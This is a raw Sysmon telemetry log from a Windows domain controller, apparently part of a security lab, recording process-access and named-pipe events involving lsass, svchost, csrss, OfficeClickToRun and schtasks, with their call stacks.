10341000x800000000000000040711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-8008-00000000F001}6576C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-8008-00000000F001}6576C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.502{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.487{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.487{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.487{7BD73061-6F35-613B-8108-00000000F001}57845536C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-8008-00000000F001}6576C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.487{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}5784C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6576C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.471{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{00000000-0000-0000-0000-000000000000}6576C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9809|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acd0f|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4366da|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4369a4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.456{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.456{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.456{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.456{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.456{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.440{7BD73061-6F35-613B-7F08-00000000F001}4708676C:\Windows\system32\conhost.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.440{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}4708C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.424{7BD73061-6E00-613B-E006-00000000F001}59925948C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6F35-613B-7E08-00000000F001}4552C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+546a1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+544db|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a992d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+3a9a63|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4acf34|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+436609|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4369a4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4831bb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.409{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.409{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7808-00000000F001}6448C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.409{7BD73061-65B0-613B-0B00-00000000F001}620788C:\Windows\system32\lsass.exe{7BD73061-6F34-613B-7808-00000000F001}6448C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.409{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.409{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.409{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.409{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.393{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 